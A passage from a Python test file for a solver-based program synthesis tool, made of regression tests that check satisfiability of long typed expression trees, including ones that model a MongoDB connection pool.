('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))))), ELambda(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), EGetField(EGetField(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), 'val').with_type(TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))), 'rq_host').with_type(TNative('HostAndPort')))).with_type(TBag(TNative('HostAndPort'))), ELambda(EVar('_var1778').with_type(TNative('HostAndPort')), EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('_var5034').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var5034').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')), '==', EVar('_var1778').with_type(TNative('HostAndPort'))).with_type(TBool()))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('_var5035').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EFilter(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EBinOp(EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')), '==', EGetField(EGetField(EVar('_var5035').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TBag(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))), EVar('p').with_type(TNative('HostAndPort'))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))).with_type(TBool())).with_type(TBool())
assert not satisfiable(e, validate_model=True)
def test_caching_solver(self):
e = EEq(EVar("x").with_type(INT), EVar("y").with_type(INT))
s = ModelCachingSolver(vars=free_vars(e), funcs=())
assert s.satisfiable(e)
assert s.satisfiable(e)
assert s.calls == 2
assert s.hits == 1
def test_regression26(self):
e = EMap(EVar('_tmp639').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EVar('x').with_type(TFloat()))).with_type(TList(TFloat()))
v = fresh_var(e.type)
check_encoding(EEq(e, v))
def test_regression27(self):
e = EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('sum', EMap(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat())), ELambda(EVar('_var633').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt()), '<=', EBinOp(EUnaryOp('sum', EMap(EMap(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EVar('x').with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var634').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())
v = fresh_var(e.type)
check_encoding(EEq(e, v))
def test_lambdacache_type_conflict(self):
i = IncrementalSolver(validate_model=True)
xs = EVar("xs").with_type(INT_BAG)
e1 = EMap(xs, ELambda(EVar("x"), EVar("x")))
ys = EVar("ys").with_type(BOOL_BAG)
e2 = EMap(ys, ELambda(EVar("x"), EVar("x")))
assert retypecheck(e1)
assert retypecheck(e2)
for e in (e1, e2):
v = fresh_var(e.type)
assert i.satisfiable(EEq(e, v))
def test_list_slice(self):
e = EListSlice(EVar('xs').with_type(TList(TFloat())), ENum(0).with_type(TInt()), EVar('index').with_type(TInt())).with_type(TList(TFloat()))
check_encoding(e)
def test_regression28(self):
satisfy(EBinOp(EBinOp(EBinOp(EVar('index').with_type(TInt()), '>=', ENum(0).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EVar('index').with_type(TInt()), '<', EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('not', EBinOp(EBinOp(EListSlice(EStateVar(EVar('xs').with_type(TList(TFloat()))).with_type(TList(TFloat())), ENum(0).with_type(TInt()), EVar('index').with_type(TInt())).with_type(TList(TFloat())), '+', EListSlice(EStateVar(EVar('xs').with_type(TList(TFloat()))).with_type(TList(TFloat())), EBinOp(EVar('index').with_type(TInt()), '+', ENum(1).with_type(TInt())).with_type(TInt()), EStateVar(EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TInt())).with_type(TList(TFloat()))).with_type(TList(TFloat())), '==', EListSlice(EStateVar(EVar('xs').with_type(TList(TFloat()))).with_type(TList(TFloat())), ENum(0).with_type(TInt()), EUnaryOp('-', ENum(1).with_type(TInt())).with_type(TInt())).with_type(TList(TFloat()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TList(TFloat())), EVar('index').with_type(TInt())]), collection_depth=4, validate_model=True)
def test_heap_2ndmin(self):
xs = EVar("xs").with_type(INT_BAG)
x = EVar("x").with_type(xs.type.t)
f = ELambda(x, x)
for mkh in (EMakeMinHeap, EMakeMaxHeap):
h = mkh(xs, f)
e = ENot(EEq(EHeapPeek(h, ELen(xs)), EHeapPeek2(h, ELen(xs))))
assert retypecheck(e)
assert satisfiable(e, validate_model=True)
def test_to_heap(self):
for f in (EArgMin, EArgMax):
xs = EVar("xs").with_type(INT_BAG)
x = EVar("x").with_type(xs.type.t)
e = f(xs, ELambda(x, EUnaryOp("-", x)))
assert retypecheck(e)
assert valid(EEq(e, EHeapPeek(to_heap(e), ELen(e)).with_type(INT)))
def test_regression29(self):
satisfy(EUnaryOp('not', EBinOp(EBool(True).with_type(TBool()), '=>', EBinOp(EArgMax(EBinOp(ESingleton(EBinOp(EUnaryOp('sum', EMap(ECond(EBinOp(EMapGet(EMakeMap2(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77592').with_type(TFloat()), EUnaryOp('len', EFilter(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77593').with_type(TFloat()), EBinOp(EVar('_var77592').with_type(TFloat()), '==', EVar('_var77593').with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TInt()))).with_type(TMap(TFloat(), TInt())), ENum(1.0).with_type(TFloat())).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool()), EEmptyList().with_type(TList(TFloat())), ESingleton(ENum(1.0).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var2195290').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBag(TInt())), '+', ESingleton(EBinOp(EUnaryOp('sum', EMap(ECond(EBinOp(EMapGet(EMakeMap2(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77592').with_type(TFloat()), EUnaryOp('len', EFilter(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77593').with_type(TFloat()), EBinOp(EVar('_var77592').with_type(TFloat()), '==', EVar('_var77593').with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TInt()))).with_type(TMap(TFloat(), TInt())), ENum(1.5).with_type(TFloat())).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool()), EEmptyList().with_type(TList(TFloat())), ESingleton(ENum(1.5).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var2195292').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('x').with_type(TInt()), EVar('x').with_type(TInt()))).with_type(TInt()), '>=', EBinOp(EUnaryOp('sum', EMap(ECond(EBinOp(EMapGet(EMakeMap2(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('_var66768').with_type(TFloat()), EUnaryOp('len', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('_var66769').with_type(TFloat()), EBinOp(EVar('_var66768').with_type(TFloat()), '==', EVar('_var66769').with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TInt()))).with_type(TMap(TFloat(), TInt())), ENum(1.5).with_type(TFloat())).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool()), EEmptyList().with_type(TList(TFloat())), ESingleton(ENum(1.5).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var2195293').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('isDropped').with_type(TBool()), EVar('dropped').with_type(TInt()), EVar('xs').with_type(TList(TFloat())), EVar('_var155564').with_type(TFloat()), EVar('_var158099').with_type(TFloat()), EVar('_var159048').with_type(TFloat()), EVar('_var160499').with_type(TFloat()), EVar('x').with_type(TFloat())]), collection_depth=4, validate_model=True)
def test_bag_subtraction_encoding_speed(self):
e = EBinOp(EBinOp(EUnaryOp('exists', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBool()), 'and', EBinOp(EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '!=', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('all', EMap(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EVar('now').with_type(TNative('mongo::Date_t')), '>=', EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_returned').with_type(TNative('mongo::Date_t'))).with_type(TBool()))).with_type(TList(TBool()))).with_type(TBool()), 'and', EBinOp(EUnaryOp('len', EBinOp(EBinOp(EBinOp(EMap(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_expiration').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_next_refresh').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EMap(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', 